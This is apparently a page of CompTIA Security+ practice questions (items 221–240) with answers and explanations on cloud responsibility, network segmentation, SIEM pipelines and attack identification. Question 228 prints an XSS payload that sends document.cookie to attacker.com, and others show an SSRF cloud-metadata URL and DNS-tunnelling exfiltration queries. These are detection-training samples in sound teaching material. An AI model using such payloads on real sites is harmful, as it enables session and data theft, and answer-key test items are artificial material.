Examkin

Tüm alıştırma soruları

2232 soru

Tüm türler2,232Çoktan seçmeli1,151Çoklu seçim509Sayısal21Eşleştirme378Sıralama173
Soru 221Soru →

A software-as-a-service (SaaS) provider needs to give prospective clients a high-level summary of its security and compliance posture. The document must be suitable for general public distribution without requiring a Non-Disclosure Agreement (NDA). Which attestation report is specifically designed for this purpose?

Cevabı ve açıklamayı göster

Cevap: SOC 3 report

Cevap

SOC 3 report
The SOC 3 report is an executive-level attestation covering security, availability, processing integrity, confidentiality, or privacy. It provides a seal or summary that organizations can publicly display or freely distribute to prospective customers without enforcing a Non-Disclosure Agreement.

Adım Adım Çözüm

1
Identify the primary requirement in the scenario.
The document must serve as a high-level summary suitable for general public release without an NDA.
Prospective clients need general proof of security controls, but internal detailed operational logs should remain confidential.
2
Evaluate Service Organization Control (SOC) report types against distribution restrictions.
SOC 1 and SOC 2 reports are restricted-use documents intended for management, current clients, and auditors under confidentiality. SOC 3 reports are designed specifically for general public distribution.
SOC 3 reports summarize the SOC 2 evaluation using the Trust Services Criteria without releasing sensitive technical system architecture details.

Anahtar Kavram

SOC 3 Attestation Reports and Public Distribution
Soru 222Soru →

A software company hosts a critical customer service portal on a Managed Kubernetes platform (PaaS). The cloud service provider (CSP) maintains the master control plane, hypervisor infrastructure, and worker node operating system updates. During a recent vulnerability scan, security auditors identified critical security flaws in the application runtime dependencies packaged inside the deployment container images. Which of the following actions represents the customer's responsibility under the cloud shared responsibility model to remediate these vulnerabilities?

Cevabı ve açıklamayı göster

Cevap: Implement container image scanning in the CI/CD pipeline to detect and patch vulnerable application dependencies prior to deployment.

Cevap

Implement container image scanning in the CI/CD pipeline to detect and patch vulnerable application dependencies prior to deployment.
Under the cloud shared responsibility model for Platform as a Service (PaaS) and managed container environments, the cloud service provider manages physical infrastructure, hypervisors, and the container engine/node operating system. However, the customer is strictly responsible for securing everything inside their container images, including custom application code, third-party libraries, and dependencies. Scanning container images within the CI/CD pipeline ensures vulnerable dependencies are identified and updated by the customer before deployment.

Adım Adım Çözüm

1
Analyze the cloud service model and operational context.
The scenario describes a Managed Kubernetes platform operating under Platform as a Service (PaaS).
Identifying the service model establishes the boundaries between customer and CSP responsibilities.
2
Delineate responsibilities between the CSP and the customer.
The CSP manages physical hardware, hypervisors, control plane components, and worker node OS patching. The customer retains ownership of application code, container images, data, and application runtime dependencies.
Under the shared responsibility model, application code and custom container layers are exclusively managed by the tenant.
3
Evaluate remediation options based on customer ownership.
Incorporating dependency scanning and base image updating within the customer's CI/CD pipeline directly resolves the vulnerability at the customer-managed application layer.
Proactive image analysis prevents vulnerable software components from reaching production environments.

Anahtar Kavram

Cloud Shared Responsibility Model in Managed Platform Services
Tahmini Süre:1m 30s
Soru 223Soru →

A medical clinic wants to allow guest patients to access the internet via wireless access points while ensuring their traffic is completely isolated from the internal network housing sensitive Electronic Health Record (EHR) systems. Which of the following network design strategies should the security administrator implement on the existing network infrastructure to achieve this isolation?

Cevabı ve açıklamayı göster

Cevap: Configure VLAN segmentation paired with access control lists to separate guest traffic from internal systems

Cevap

Configure VLAN segmentation paired with access control lists to separate guest traffic from internal systems.
The correct response recommends configuring VLAN segmentation along with access control lists. VLANs separate network traffic logically at Layer 2 across shared physical switches and access points, while ACLs explicitly prevent inter-VLAN routing from the guest network to the internal EHR network zone.

Adım Adım Çözüm

1
Identify the primary requirement
The requirement is to isolate guest Wi-Fi users from internal medical records on shared physical infrastructure.
Preventing unauthorized access to sensitive internal assets requires logical boundary separation at the network layer.
2
Evaluate network isolation controls
VLANs create separate broadcast domains, and ACLs enforce traffic boundaries between those domains.
VLAN tagging logically partitions physical switches and access points so guest traffic cannot reach internal IP ranges.

Anahtar Kavram

VLAN Segmentation and Traffic Isolation
Tahmini Süre:1m 0s
Soru 224Soru →

An enterprise financial organization is designing a hybrid cloud connectivity model for an analytics workload that dynamically offloads data processing from on-premises servers to a public cloud Platform as a Service (PaaS) environment. Security policy mandates that data in transit must never traverse the public internet, data endpoints must not expose public IP addresses, and customer responsibility must be limited strictly to application logic, data classification, and access policies without host management overhead. Which of the following architecture designs and responsibility allocations best fulfills these requirements?

Cevabı ve açıklamayı göster

Cevap: Establish a dedicated private connection with private endpoint interfaces for cloud services; under PaaS, the provider secures the underlying host infrastructure and platform orchestrator, while the organization manages database access control and data security.

Cevap

Establish a dedicated private connection with private endpoint interfaces for cloud services; under PaaS, the provider secures the underlying host infrastructure and platform orchestrator, while the organization manages database access control and data security.
Establishing a dedicated private network connection combined with private endpoints guarantees that network traffic stays off the public internet and does not use public IP addresses. In a PaaS deployment model, the cloud provider manages the underlying infrastructure, operating system, and container runtime environments, while the customer maintains responsibility for data classification, encryption, and access control governance.

Adım Adım Çözüm

1
Analyze connectivity requirements.
Requirements specify that traffic must never traverse the public internet and public IPs must not be exposed.
Dedicated private connectivity (such as Direct Connect or ExpressRoute) coupled with private endpoint technologies (such as PrivateLink) ensures private IP routing directly into the cloud infrastructure.
2
Evaluate the cloud service model (PaaS) boundaries.
PaaS shifts infrastructure, hypervisor, OS, and runtime management to the Cloud Service Provider (CSP).
The customer remains responsible only for identity and access management, application logic, and data protection/classification.
3
Synthesize connectivity and responsibility model.
The architecture combining private line endpoints with PaaS shared responsibility fulfills both isolation and minimal operational overhead demands.
This combination isolates traffic at the network layer while restricting customer administrative overhead to application and data security controls.

Anahtar Kavram

PaaS Shared Responsibility and Private Cloud Connectivity
Tahmini Süre:2m 0s
Soru 225Soru →

An enterprise security operations team investigates anomalous traffic patterns within a corporate dual-stack subnetwork. Network monitoring alerts indicate that multiple workstations have dynamically updated their default gateway settings to route external traffic through an unapproved link-local address. Packet captures reveal continuous, unsolicited ICMPv6 Type 134 messages being broadcast across the segment with a high router preference flag enabled. Which of the following attack types is indicated by these findings?

Cevabı ve açıklamayı göster

Cevap: Rogue IPv6 Router Advertisement (RA) attack

Cevap

Rogue IPv6 Router Advertisement (RA) attack
The scenario describes unsolicited ICMPv6 Type 134 messages (Router Advertisements) with high preference flags, which alter host routing tables on dual-stack subnetworks to direct traffic to an attacker's rogue gateway. This is the classic signature of a Rogue IPv6 Router Advertisement attack.

Adım Adım Çözüm

1
Analyze protocol indicators in the packet capture.
Identified ICMPv6 Type 134 messages, which correspond specifically to IPv6 Router Advertisement (RA) packets used in Neighbor Discovery Protocol (NDP).
Router Advertisements inform local network hosts of default gateway IP addresses and subnetwork prefixes.
2
Evaluate the behavior and impact described in the scenario.
Unsolicited high-preference ICMPv6 Type 134 broadcasts forced dual-stack endpoints to reconfigure their default IPv6 routing table towards an unauthorized link-local address.
This behavior indicates an attacker deploying a rogue IPv6 router to perform an on-path traffic interception attack.
3
Differentiate from alternative network attacks.
Confirmed that IPv4 ARP poisoning, DNS amplification, and 802.1Q VLAN hopping operate on distinct mechanisms and protocols.
Only a Rogue IPv6 Router Advertisement attack produces ICMPv6 Type 134 flooding and spontaneous gateway reconfiguration on IPv6 endpoints.

Anahtar Kavram

IPv6 Neighbor Discovery Protocol (NDP) Vulnerabilities and Rogue Router Advertisements
Soru 226Soru →

A security administrator is documenting the secure network transit path for a remote system administrator to access a sensitive internal database server via a bastion host. Arrange the following network zones in order from the initial connection point (least secure/untrusted external) to the final destination (most secure internal target).

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct network path order from external origin to secure target is: External Public Internet, Perimeter Screened Subnet (DMZ), Bastion Host Management Subnet, and Isolated Backend Database Zone.
The proper administrative connection flow follows defense-in-depth segmentation principles: the remote session starts on the untrusted External Public Internet, enters the Perimeter Screened Subnet (DMZ), authenticates at the Bastion Host Management Subnet, and finally proxies through to the Isolated Backend Database Zone.

Adım Adım Çözüm

1
Identify the origin of the remote traffic flow.
The connection starts on the External Public Internet.
Remote administrative requests originate outside the enterprise network boundary.
2
Determine the external boundary entry point.
Traffic enters the Perimeter Screened Subnet (DMZ).
External requests must pass through perimeter security controls before reaching internal management components.
3
Identify the intermediary administrative proxy host zone.
Traffic reaches the Bastion Host Management Subnet.
Secure network architecture mandates terminating administrative sessions on an isolated jump box rather than allowing direct access to backend servers.
4
Identify the final protected target network zone.
The session completes at the Isolated Backend Database Zone.
The database subnet is completely isolated from the internet and accepts connections only from authenticated bastion hosts.

Anahtar Kavram

Bastion Host Jump Box and Network Zone Transit Sequence
Tahmini Süre:45s
Soru 227Soru →

A security team is reviewing a web microservice that accepts user-supplied remote image URLs to generate user avatar previews. During testing, an analyst discovers that submitting a URL directed to `http://169.254.169.254/latest/meta-data/` allows the server to fetch and return sensitive cloud instance credentials to the client.

Which of the following mitigation controls should the development team implement to remediate this application vulnerability? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Restrict the application server from initiating outbound network connections to internal IP address ranges and cloud metadata endpoints; Implement strict input validation using an allowlist of approved URL schemes and external domain destinations

Cevap

The correct remediation controls are restricting the application server from initiating outbound network connections to internal IP addresses and cloud metadata endpoints, and implementing strict input validation using an allowlist of approved URL schemes and external domains.
The scenario describes a Server-Side Request Forgery (SSRF) vulnerability where an attacker manipulates the server into fetching cloud metadata (`169.254.169.254`). Remediating SSRF requires preventing the server from connecting to internal endpoints by restricting outbound network connections to private IP spaces and validating user-supplied URLs against an explicit allowlist of domain names and protocols.

Adım Adım Çözüm

1
Identify the underlying application vulnerability from the observed scenario.
The application suffers from Server-Side Request Forgery (SSRF), where an attacker forces the server to make unauthorized requests to internal endpoints like cloud metadata services.
Understanding the attack vector (server fetching backend resources on behalf of untrusted input) dictates the proper defense.
2
Evaluate network-level and egress filtering controls for SSRF mitigation.
Restricting outbound traffic to internal IP ranges (127.0.0.1, 169.254.169.254, RFC 1918) blocks the server from reaching sensitive internal services even if a URL is submitted.
Egress filtering limits the blast radius of SSRF by denying network access to private management APIs.
3
Evaluate application-level input validation controls.
Enforcing an allowlist of accepted schemes (HTTPS) and approved external domains prevents user inputs from referencing local or metadata addresses.
Allowlisting validates input targets before the application attempts to initiate HTTP GET requests.

Anahtar Kavram

Server-Side Request Forgery (SSRF) Remediation
Soru 228Soru →

A security technician inspecting web server access logs in a SIEM dashboard analyzes the following log entry:

`192.168.10.45 - - [27/Jul/2026:14:15:22 +0000] "GET /comment.php?user_input=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 452`

Which of the following security events is demonstrated in this log snippet?

Cevabı ve açıklamayı göster

Cevap: Cross-Site Scripting (XSS) attack

Cevap

The log snippet demonstrates a Cross-Site Scripting (XSS) attack.
The correct answer is Cross-Site Scripting (XSS) attack because the HTTP GET request contains explicit `<script>` tags designed to execute client-side JavaScript code in a user's web browser to exfiltrate session cookies.

Adım Adım Çözüm

1
Examine the HTTP request payload inside the log entry.
Identified client-side code: `<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`.
Log analysis requires inspecting URL parameters for malicious patterns.
2
Classify the attack vector based on the payload structure.
The payload uses HTML/JavaScript tags (`<script>`) intended to execute in a victim's browser and steal cookie data.
Attacks injecting client-side scripts to run in the victim's browser session are categorized as Cross-Site Scripting.

Anahtar Kavram

Identifying Cross-Site Scripting (XSS) in Web Server Logs
Tahmini Süre:45s
Soru 229Soru →

An organization needs to prevent customer service representatives from copying sensitive customer database files to unauthorized USB flash drives attached to local workstations. Which data protection control should the security analyst implement to enforce this restriction?

Cevabı ve açıklamayı göster

Cevap: Endpoint Data Loss Prevention (DLP)

Cevap

Endpoint Data Loss Prevention (DLP) should be implemented to monitor and block unauthorized file transfers to removable USB storage.
Endpoint Data Loss Prevention (DLP) software runs directly on user workstations to inspect data in use and enforce policies that block unauthorized operations, such as copying sensitive files containing Personal Identifiable Information (PII) to removable USB media.

Adım Adım Çözüm

1
Identify the risk and security objective
The objective is preventing exfiltration of sensitive data to unauthorized local USB drives.
Understanding the threat vector guides selecting the appropriate control boundary.
2
Evaluate the control mechanisms
Endpoint DLP agents inspect content on host devices and block policy violations such as write actions to removable media.
Host-based data protection mechanisms operate directly at the endpoint operating system level where USB peripherals are attached.

Anahtar Kavram

Endpoint Data Loss Prevention (DLP)
Soru 230Soru →

A threat intelligence analyst at a commercial bank needs to obtain timely, industry-specific operational intelligence regarding emerging tactics, techniques, and procedures (TTPs) targeting core payment processing gateways. The security leadership wants to exchange attack indicators and vetted threat data directly with peer financial institutions in a trusted environment. Which of the following threat intelligence sources is most appropriate for this objective?

Cevabı ve açıklamayı göster

Cevap: Information Sharing and Analysis Center (ISAC)

Cevap

An Information Sharing and Analysis Center (ISAC) is the correct source because it enables trusted, sector-specific threat intelligence sharing and collaboration among peer organizations within an industry.
An Information Sharing and Analysis Center (ISAC) is a non-profit organization that facilitates the gathering and sharing of cyber threat intelligence among peer members within specific critical infrastructure sectors (such as Financial Services, Healthcare, or Aviation). Participating in an ISAC allows organizations to receive vetted, timely, sector-specific threat indicators and collaborate on joint defense strategies.

Adım Adım Çözüm

1
Analyze the organizational requirement described in the scenario.
The scenario requires industry-specific threat intelligence and peer-to-peer indicator sharing within a trusted community (financial sector).
Identifying the target domain and requirements guides the selection of the correct intelligence source class.
2
Evaluate potential intelligence source classifications against the requirement.
Information Sharing and Analysis Centers (ISACs) are specifically designed for sector-focused threat sharing, whereas vulnerability databases and OSINT offer general or non-peer data.
Matching industry-specific sharing goals with ISAC capabilities satisfies all constraints of the scenario.

Anahtar Kavram

Information Sharing and Analysis Centers (ISACs) and Sector-Specific Threat Intelligence
Soru 231Soru →

An organization deploys a centralized Security Information and Event Management (SIEM) platform to monitor enterprise infrastructure. In what sequence does a security log event travel through the SIEM pipeline from initial creation to analyst notification?

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct order of log processing within a SIEM pipeline is: Event Generation -> Log Forwarding -> Parsing and Normalization -> Event Correlation -> Alert Generation.
Log processing follows a logical pipeline: an event must first be generated locally on an endpoint, forwarded to central storage, parsed into standard fields so multi-source data is consistent, evaluated by correlation engines against threat rules, and finally escalated as an alert when suspicious activity is detected.

Adım Adım Çözüm

1
Identify the initial event creation step
The local system logs the event.
Data processing starts when an application or host creates a log entry locally.
2
Identify the transmission step
Log agents forward the entry to the SIEM.
Centralized SIEM analysis requires log entries to be transmitted over the network.
3
Identify the data structuring step
The SIEM parses and normalizes the log data into standardized fields.
Heterogeneous vendor logs must be converted into common schemas before cross-source rule matching.
4
Identify the detection rule evaluation step
The correlation engine checks normalized logs against security rules.
Rule matching identifies indicators of compromise across correlated data streams.
5
Identify the final output step
The SIEM generates a security alert.
Notifications are created after correlation conditions are met to notify security staff.

Anahtar Kavram

SIEM Log Processing Pipeline Lifecycle
Soru 232Soru →

A security analyst is establishing a patch and configuration management procedure for an air-gapped Industrial Control System (ICS) network following the disclosure of a critical firmware vulnerability. Which of the following technical controls and procedural steps should the analyst execute to ensure safe patch deployment and maintain system baselines? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Validate patches in an isolated staging environment using offline installation media verified with cryptographic hashes prior to deployment.; Archive verified offline baseline configuration backups and maintain documented roll-back plans for all managed controllers before executing updates.

Cevap

The correct procedures are validating patches in an isolated staging environment using cryptographically verified offline media, and archiving verified offline baseline configuration backups with documented roll-back plans prior to update execution.
In air-gapped industrial environments, patch and configuration management requires verifying file integrity via cryptographic hashes, testing updates in a staging environment prior to production release, and securing baseline configurations with tested roll-back mechanisms to ensure high availability and prevent unexpected system outages.

Adım Adım Çözüm

1
Analyze environment constraints and patch management prerequisites for specialized networks.
Identified that an air-gapped ICS network cannot rely on direct internet connectivity or unverified media.
Air-gapped systems require offline patch distribution mechanisms with strong integrity verification.
2
Select appropriate staging, verification, and roll-back controls.
Offline hash verification in a mirror environment combined with baseline configuration archiving ensures safe deployment and rapid restoration if instability occurs.
Pre-deployment testing mitigates operational disruption, and baseline backups enable roll-back during unexpected configuration drift.

Anahtar Kavram

Air-gapped Patch and Configuration Management Lifecycle
Soru 233Soru →

An enterprise security operations center (SOC) detects that several remote staff members were redirected to a fraudulent Single Sign-On (SSO) credential-harvesting page after scanning a Quick Response (QR) code on physical flyers posted in a corporate office building. The flyers purported to contain a link to a mandatory employee workplace survey. Which social engineering attack vector best describes this technique?

Cevabı ve açıklamayı göster

Cevap: Quishing

Cevap

Quishing (QR code phishing) is the social engineering vector that uses malicious QR codes to redirect victims to credential-harvesting or malicious websites.
The correct answer is quishing because the scenario describes an attack that uses Quick Response (QR) codes embedded on physical media to direct victims to a credential-harvesting webpage.

Adım Adım Çözüm

1
Analyze the primary delivery medium in the security incident.
The attack relies on physical flyers featuring printed Quick Response (QR) codes.
Identifying the transmission vector (QR codes) is critical to categorizing the specific social engineering variant.
2
Evaluate the underlying objective of the attack mechanism.
Scanning the QR code redirects victims to a fake Single Sign-On portal to capture credentials.
This behavior combines traditional web-based credential harvesting with a mobile optical scan vector.
3
Match the observed indicators to formal security terminology.
Phishing conducted specifically through QR codes is defined as quishing.
Quishing accurately describes social engineering campaigns utilizing QR codes as the redirection vector.

Anahtar Kavram

Social Engineering Attack Vectors - Quishing
Soru 234Soru →

An enterprise organization plans to establish a direct network link and federated single sign-on integration with a strategic partner to facilitate real-time data exchange between their respective data centers. Before configuring the VPN tunnel and enabling communication between the two distinct networks, security administrators from both entities must establish a formal document specifying the technical interface standards, security control requirements, and data transfer protocols governing the network connection itself. Which of the following agreements is most appropriate to satisfy this requirement?

Cevabı ve açıklamayı göster

Cevap: Interconnection Security Agreement (ISA)

Cevap

The Interconnection Security Agreement (ISA) is the correct choice because it establishes the precise technical specifications, encryption mandates, and operational security requirements for connecting two distinct organization networks.
An Interconnection Security Agreement (ISA) is a specialized document created when two organizations connect their IT systems. It outlines technical requirements (such as VPN protocols, IP address ranges, and encryption algorithms), operational security rules, and data handling procedures specifically for the network connection.

Adım Adım Çözüm

1
Analyze the scenario requirement
The requirement focuses on formalizing technical security controls and connection specifications for a direct network link between two entities.
Identifying the core focus (technical network connection vs. operational metrics or legal intent) narrows down the required agreement type.
2
Evaluate third-party agreement types
An Interconnection Security Agreement (ISA) is designed specifically to document system interface parameters, security requirements, and data movement controls for interconnected systems.
Standards such as NIST SP 800-47 dictate using an ISA to mandate security provisions between connected organizations.

Anahtar Kavram

Interconnection Security Agreement (ISA)
Soru 235Soru →

A security technician is troubleshooting a user access issue on a corporate document platform. The user successfully validates their password and multi-factor authentication prompt at login. However, when attempting to open shared department folders, the platform denies access with a 'Privilege Insufficient' error. System logs confirm that the identity provider successfully verified who the user is, but failed to evaluate or grant access permissions to the requested resources. Which component of the AAA framework is failing to execute as intended?

Cevabı ve açıklamayı göster

Cevap: Authorization

Cevap

Authorization is the failing component because identity verification succeeded, but resource access rights were not granted.
Authorization is responsible for determining whether an authenticated subject has permission to access a specific object or resource. In this scenario, the user successfully proved their identity (authentication), but the system failed to grant or verify their access permissions for the shared folders.

Adım Adım Çözüm

1
Analyze the problem statement for authentication activity.
The user successfully validated credentials and MFA, confirming that the Authentication step succeeded.
Authentication verifies identity.
2
Analyze the access failure.
The system blocked access due to missing permissions ('Privilege Insufficient').
Determining what actions an authenticated user can perform on specific resources is the function of Authorization.
3
Identify the failing AAA pillar.
Authorization failed because permission evaluation/granting did not take place properly.
Authorization explicitly governs rights and permission assignment in AAA.

Anahtar Kavram

Authentication vs. Authorization vs. Accounting (AAA)
Soru 236Soru →

A security engineer is optimizing an enterprise Security Information and Event Management (SIEM) data ingestion pipeline to handle heterogeneous log streams from firewalls, web proxies, and endpoint agents. To perform cross-source security analytics without overwhelming system storage or failing complex detection logic, incoming event data must pass through sequential processing phases. What is the correct sequential order of log processing stages within the SIEM pipeline, from initial raw data ingestion to final security analyst escalation?

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct sequence of SIEM log processing stages is: Field Parsing -> Schema Normalization -> Aggregation and Deduplication -> Correlation Engine Evaluation -> Alert Generation and SOAR Dispatch.
The correct operational workflow of a SIEM log processing architecture follows a logical progression: 1) Field Parsing converts unstructured raw log strings into structured data elements. 2) Schema Normalization standardizes field attributes into a common schema. 3) Aggregation and Deduplication reduces volume by combining repetitive events. 4) Correlation Engine Evaluation compares normalized multi-source events against detection rules and threat intelligence. 5) Alert Generation and SOAR Dispatch creates actionable analyst alerts and triggers automated incident response.

Adım Adım Çözüm

1
Identify the initial transformation required on raw syslog and log strings
Raw logs must first undergo Field Parsing to break down unformatted text into structured key-value pairs.
SIEM processing engines cannot analyze raw strings until variables are parsed into discrete fields.
2
Determine how heterogeneous vendor logs are aligned
Extracted fields undergo Schema Normalization to standardize field names across different log vendors into a unified model.
Correlation rules require standardized field names regardless of whether the log originated from a Windows host, Linux server, or Palo Alto firewall.
3
Identify the data reduction stage prior to heavy analytic processing
Normalized events undergo Aggregation and Deduplication.
Filtering duplicate log floods within sliding time windows conserves compute resources before evaluating complex rules.
4
Determine where multi-source security threat detection occurs
Clean, normalized, and aggregated events are passed to the Correlation Engine for rule matching.
Correlation logic depends on historical and real-time cross-source data formatted in a common structure.
5
Identify the output action resulting from a positive detection match
Alert Generation and SOAR Dispatch occurs.
Once correlation conditions fire, the pipeline outputs an actionable alert to analysts or triggers automated mitigation playbooks.

Anahtar Kavram

SIEM Log Processing Pipeline Lifecycle
Soru 237Soru →

A biotechnology company is deploying a cloud-native genomic analysis pipeline utilizing a Function-as-a-Service (FaaS) model coupled with managed cloud object storage. The lead security architect is formalizing operational boundaries to comply with the cloud shared responsibility model. Which of the following tasks remains exclusively the responsibility of the biotechnology company?

Cevabı ve açıklamayı göster

Cevap: Hardening application source code, managing data classification, and configuring API access authorization rules.

Cevap

Hardening application source code, managing data classification, and configuring API access authorization rules.
In Function-as-a-Service (FaaS) serverless architectures, the cloud service provider abstracts away physical hardware, virtualization, and runtime environment management. However, the tenant retains full ownership and responsibility for customer data classification, application source code security, and identity and access governance (including API authorization).

Adım Adım Çözüm

1
Identify the cloud service model being evaluated.
The scenario specifies Function-as-a-Service (FaaS), a serverless compute model.
Different service models (IaaS, PaaS, SaaS, FaaS) shift different infrastructure management responsibilities between the customer and provider.
2
Determine the cloud service provider's operational scope under FaaS.
The CSP manages physical infrastructure, server hardware, OS patching, runtime environment maintenance, and container orchestration.
Serverless models abstract the underlying server infrastructure away from the enterprise.
3
Determine the customer's operational scope under FaaS.
The customer is responsible for writing secure code, configuring API endpoints, enforcing IAM policies, securing data at rest and in transit, and setting access authorization controls.
Regardless of how high up the stack the cloud model moves, data security and application security remain customer responsibilities.

Anahtar Kavram

Shared Responsibility Model in Function-as-a-Service (FaaS)
Soru 238Soru →

A security analyst reviewing SIEM alert logs identifies the following sequential events originating from an internal workstation:

2026-07-27T14:02:11Z Event: DNS_QUERY SrcIP: 10.0.4.150 DstIP: 8.8.8.8 Query: c2FtcGxlZGF0YWV4Zmls.malicious-domain.com RecordType: TXT Length: 512
2026-07-27T14:02:12Z Event: DNS_QUERY SrcIP: 10.0.4.150 DstIP: 8.8.8.8 Query: dG9wc2VjcmV0ZG9jcw==.malicious-domain.com RecordType: TXT Length: 512
2026-07-27T14:02:13Z Event: DNS_QUERY SrcIP: 10.0.4.150 DstIP: 8.8.8.8 Query: cGFzc3dvcmRoYXNoZXM=.malicious-domain.com RecordType: TXT Length: 512

Which of the following security threats is directly indicated by these log entries?

Cevabı ve açıklamayı göster

Cevap: DNS tunneling used for covert data exfiltration

Cevap

The correct answer is DNS tunneling used for covert data exfiltration.
The log entries demonstrate DNS tunneling. The presence of rapidly generated TXT record queries containing unique, Base64-encoded subdomains sent to an external domain indicates that an internal host is encoding data into DNS queries to bypass traditional firewall and proxy filters for data exfiltration.

Adım Adım Çözüm

1
Analyze the log entries for protocol type, query format, and record attributes.
The logs reveal repeated outbound DNS queries asking for TXT records with long, Base64-encoded strings as subdomains under an external domain (malicious-domain.com).
Identifying encoded payloads embedded inside DNS subdomains distinguishes protocol tunneling from standard hostname resolution requests.
2
Evaluate the pattern against known threat tactics.
Attackers encode sensitive data (such as Base64 strings decoding to 'sampledataexfil', 'topsecretdocs', and 'passwordhashes') into DNS queries to bypass standard perimeter security controls.
DNS traffic is frequently allowed outbound without inspection, making TXT record queries an ideal vehicle for covert data exfiltration.

Anahtar Kavram

DNS Tunneling and Data Exfiltration Detection in SIEM Logs
Tahmini Süre:1m 30s
Soru 239Soru →

An enterprise security architecture team is evaluating modern Identity and Access Management (IAM) components to enhance security across hybrid environments. Based on enterprise security best practices, how should each IAM standard or architecture component be matched to its primary architectural role?

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

SCIM (System for Cross-domain Identity Management)
OAuth 2.0 Token Exchange
Privileged Access Management (PAM) with Ephemeral Credentials
FIDO2 / WebAuthn Framework

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Each IAM architectural component correctly aligns with its core functionality: SCIM handles automated identity provisioning, OAuth 2.0 Token Exchange propagates identity across microservices, PAM with ephemeral credentials eliminates static admin credentials, and FIDO2/WebAuthn delivers phishing-resistant authentication.
SCIM automates cross-domain provisioning; OAuth 2.0 Token Exchange securely transfers delegative identity context across API endpoints; PAM with ephemeral credentials removes persistent privileged secrets; and FIDO2/WebAuthn provides hardware-backed, domain-bound authentication resistant to phishing.

Adım Adım Çözüm

1
Analyze identity lifecycle standards
Identify SCIM as the standard protocol for automated provisioning and deprovisioning across SaaS services.
SCIM uses standardized RESTful schemas to sync user accounts between identity providers and cloud applications.
2
Evaluate token delegation in distributed systems
Identify OAuth 2.0 Token Exchange as the method for context propagation in microservice architecture.
Token exchange enables secure impersonation or delegation across backend services without exposing primary credentials.
3
Examine privileged access hardening techniques
Identify PAM with Ephemeral Credentials for dynamic short-lived administrative access.
Ephemeral credentials mitigate pass-the-hash and lateral movement risks associated with persistent admin accounts.
4
Assess strong authentication frameworks
Identify FIDO2/WebAuthn for hardware-bound, phishing-resistant authentication.
FIDO2 cryptographically binds authenticators to origin domains, preventing credential harvesting via proxy attacks.

Anahtar Kavram

Identity and Access Management Architecture Components and Protocols
Tahmini Süre:2m 0s
Soru 240Soru →

A Security Operations Center (SOC) analyst investigating a high-severity alert in a SIEM platform correlates the following consecutive syslog entries from an internal recursive DNS resolver:

text
2026-07-27T14:22:01Z dns-resolver named[2048]: client 10.2.14.88#49152 (v1-a8f9c2d1e.exfil.external-collector.net): query: v1-a8f9c2d1e.exfil.external-collector.net IN TXT + (10.2.0.1)
2026-07-27T14:22:02Z dns-resolver named[2048]: client 10.2.14.88#49153 (v2-b7e8d3c4a.exfil.external-collector.net): query: v2-b7e8d3c4a.exfil.external-collector.net IN TXT + (10.2.0.1)
2026-07-27T14:22:03Z dns-resolver named[2048]: client 10.2.14.88#49154 (v3-f5a6b7c8d.exfil.external-collector.net): query: v3-f5a6b7c8d.exfil.external-collector.net IN TXT + (10.2.0.1)

Based on the log attributes, which of the following security events is occurring on host 10.2.14.88?

Cevabı ve açıklamayı göster

Cevap: DNS tunneling protocol abuse transmitting stolen payload data within encoded domain prefixes and TXT record queries

Cevap

DNS tunneling protocol abuse transmitting stolen payload data within encoded domain prefixes and TXT record queries
The log entries display rapid, sequential DNS queries for TXT records containing unique, high-entropy subdomain strings (v1-a8f9c2d1e, v2-b7e8d3c4a, v3-f5a6b7c8d) under an external domain. Attackers use DNS tunneling to encapsulate covert payload data inside DNS queries to bypass standard network security controls.

Adım Adım Çözüm

1
Analyze the log source and event pattern
Identified sequential DNS TXT queries originating from internal host 10.2.14.88 directed at unique subdomains of external-collector.net.
Understanding the protocol (DNS) and query record type (TXT) establishes the communication mechanism.
2
Examine query string structure and frequency
Subdomains feature high-entropy alphanumeric strings (e.g., v1-a8f9c2d1e) incrementing rapidly at 1-second intervals.
High-entropy, structured prefixes combined with regular time intervals are characteristic indicators of programmatic data encoding into DNS request labels.
3
Deduce the threat vector
Conclude that an internal compromised endpoint is utilizing DNS tunneling for covert data exfiltration to an attacker-controlled authoritative name server.
DNS traffic is frequently allowed through egress firewalls, making it a primary vector for encapsulating unauthorized outbound payload data.

Anahtar Kavram

DNS Tunneling and Log Analysis
ÖncekiSayfa 12 / 112Sonraki
Tüm alıştırma soruları — CompTIA Security+ | Examkin